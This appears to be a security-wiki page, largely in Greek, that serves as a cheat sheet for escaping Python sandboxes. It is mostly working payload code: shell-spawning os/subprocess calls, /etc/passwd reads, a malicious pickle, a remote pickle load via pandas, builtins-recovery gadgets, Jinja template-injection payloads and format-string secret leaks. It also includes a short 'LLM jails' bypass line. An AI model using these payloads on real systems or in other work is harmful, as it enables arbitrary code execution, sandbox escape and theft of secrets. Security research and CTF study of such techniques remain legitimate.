Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Θυμηθείτε ότι οι open και read συναρτήσεις μπορούν να είναι χρήσιμες για να διαβάσετε αρχεία μέσα στην python sandbox και να γράψετε κάποιον κώδικα που θα μπορούσατε να εκτελέσετε για να παρακάμψετε την sandbox.
Η συνάρτηση input() της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
Η Python προσπαθεί να φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): python3 -c 'import sys; print(sys.path)'
Παράκαμψη της sandbox του pickle με τα προεγκατεστημένα πακέτα python
Προεγκατεστημένα πακέτα
Μπορείτε να βρείτε μια λίστα με τα προεγκατεστημένα πακέτα εδώ: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον python να εισάγει αυθαίρετες βιβλιοθήκες που είναι εγκατεστημένες στο σύστημα.
Για παράδειγμα, το παρακάτω pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να αποσυμπιέσετε, να αλλάξετε το setup.py, και να βάλετε τη διεύθυνση IP σας για το reverse shell:
Αυτό το πακέτο ονομάζεται Reverse. Ωστόσο, έχει σχεδιαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή όταν φύγετε.
Eval-ing python code
Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
Αν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την hex/octal/B64 αναπαράσταση για να bypass τον περιορισμό:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Άλλες βιβλιοθήκες που επιτρέπουν την εκτέλεση κώδικα python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Τελεστές και σύντομα κόλπα
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
Στο αυτό το άρθρο χρησιμοποιείται το UFT-7 για να φορτώσει και να εκτελέσει αυθαίρετο python κώδικα μέσα σε μια φαινομενική sandbox:
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. raw_unicode_escape και unicode_escape.
Εκτέλεση Python χωρίς κλήσεις
Αν βρίσκεστε μέσα σε μια φυλακή python που δεν σας επιτρέπει να κάνετε κλήσεις, υπάρχουν ακόμα μερικοί τρόποι για να εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα και εντολές.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE δημιουργία αντικειμένων και υπερφόρτωση
Αν μπορείτε να δηλώσετε μια κλάση και να δημιουργήσετε ένα αντικείμενο αυτής της κλάσης, θα μπορούσατε να γράψετε/υπεργράψετε διάφορες μεθόδους που μπορούν να ενεργοποιηθούνχωρίςνα χρειάζεται να τις καλέσετε άμεσα.
RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε κάποιες μεθόδους κλάσης (υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση) ώστε να εκτελούν αυθαίρετο κώδικα όταν ενεργοποιούνται χωρίς να τις καλείτε άμεσα.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Δημιουργία αντικειμένων με εξαιρέσεις
Όταν μια εξαίρεση ενεργοποιείται, ένα αντικείμενο της Εξαίρεσηςδημιουργείται χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Περισσότερο RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Διαβάστε το αρχείο με βοήθεια και άδεια από τα builtins
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Αν μπορείτε να έχετε πρόσβαση στο __builtins__ αντικείμενο μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
Όταν δεν έχετε __builtins__, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς όλες οι παγκόσμιες συναρτήσεις (όπως open, import, print...) δεν είναι φορτωμένες.
Ωστόσο, κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά εισάγουν επίσης επικίνδυνες λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και τυχαία εκτέλεση κώδικα.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να καταχραστείτε μερικά από αυτά τα "αθώα" modules που έχουν φορτωθεί για να προσπελάσετεεπικίνδυνεςλειτουργίες μέσα τους.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
Η έλεγχος των globals και locals είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί και να προτείνω πιο αξιόπιστους εκμεταλλευτές.
Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα πρόσβασης στις βασικές υποκλάσεις. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας ''.__class__.__base__.__subclasses__() αλλά υπάρχουν άλλοι πιθανοί τρόποι:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη sys είναι δυνατό να εισαγάγετε αυθαίρετες βιβλιοθήκες, μπορείτε να αναζητήσετε όλα τα modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους:
Υπάρχουν πολλοί, και χρειαζόμαστε μόνο έναν για να εκτελέσουμε εντολές:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Μπορούμε να κάνουμε το ίδιο πράγμα με άλλες βιβλιοθήκες που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για εκτέλεση εντολών:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Επιπλέον, θα μπορούσαμε ακόμη να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
Επιπλέον, αν νομίζετε ότι άλλες βιβλιοθήκες μπορεί να είναι σε θέση να καλέσουν συναρτήσεις για να εκτελέσουν εντολές, μπορούμε επίσης να φιλτράρουμε με βάση τα ονόματα συναρτήσεων μέσα στις πιθανές βιβλιοθήκες:
Αυτό είναι απλώς καταπληκτικό. Αν ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο απλώς χρησιμοποιήστε αυτό το σενάριο για να αναζητήσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Μπορείτε να ελέγξετε την έξοδο αυτού του script σε αυτή τη σελίδα:
Αν στείλετε μια αλφαριθμητική σε python που πρόκειται να μορφοποιηθεί, μπορείτε να χρησιμοποιήσετε {} για να αποκτήσετε πρόσβαση σε εσωτερικές πληροφορίες της python. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins για παράδειγμα.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Σημειώστε πώς μπορείτε να πρόσβαση σε χαρακτηριστικά με κανονικό τρόπο με μια τελεία όπως people_obj.__init__ και στοιχείο dict με παρενθέσεις χωρίς αποσπάσματα __globals__[CONFIG]
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε .__dict__ για να απαριθμήσετε τα στοιχεία ενός αντικειμένου get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα εκτέλεσης των συναρτήσεωνstr, repr και ascii στο υποδεικνυόμενο αντικείμενο προσθέτοντας !s, !r, !a αντίστοιχα:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Επιπλέον, είναι δυνατόν να κωδικοποιηθούν νέοι μορφοποιητές σε κλάσεις:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Περισσότερα παραδείγματα σχετικά με μορφήσυμβολοσειρών μπορούν να βρεθούν στο https://pyformat.info/
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα read ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python:
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
Από τη μορφή στη φόρτωση βιβλιοθηκών RCE
Σύμφωνα με το TypeMonkey chall από αυτή την αναφορά, είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, το 2*3 θα εκτελέσει (2).mul(3) ή {'a':'b'}['a'] θα είναι {'a':'b'}.__getitem__('a').
Μια ευπάθεια μορφής συμβολοσειράς python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως '{0.system("/bin/sh")}'.format(os).
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε []. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο __getitem__ ή __getattr__ που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την αναζήτηση στο Github. Όπου βρήκε αυτό ένα:
Αυτή η συσκευή επιτρέπει να φορτώσετε μια βιβλιοθήκη από τον δίσκο. Επομένως, είναι απαραίτητο να γράψετε ή να ανεβάσετε τη βιβλιοθήκη για να φορτωθεί σωστά κατασκευασμένη στον επιτιθέμενο διακομιστή.
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών.
Σε ορισμένα CTFs μπορεί να σας παρέχεται το όνομα μιας προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία και πρέπει να δείτε τα εσωτερικά της συνάρτησης για να την εξαγάγετε.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ και func_globals(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγόμενα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ και func_code: Μπορείτε να πρόσβαση σε αυτό το χαρακτηριστικό της συνάρτησης για να αποκτήσετε το αντικείμενο κώδικα της συνάρτησης.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Λήψη Πληροφοριών Κώδικα
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
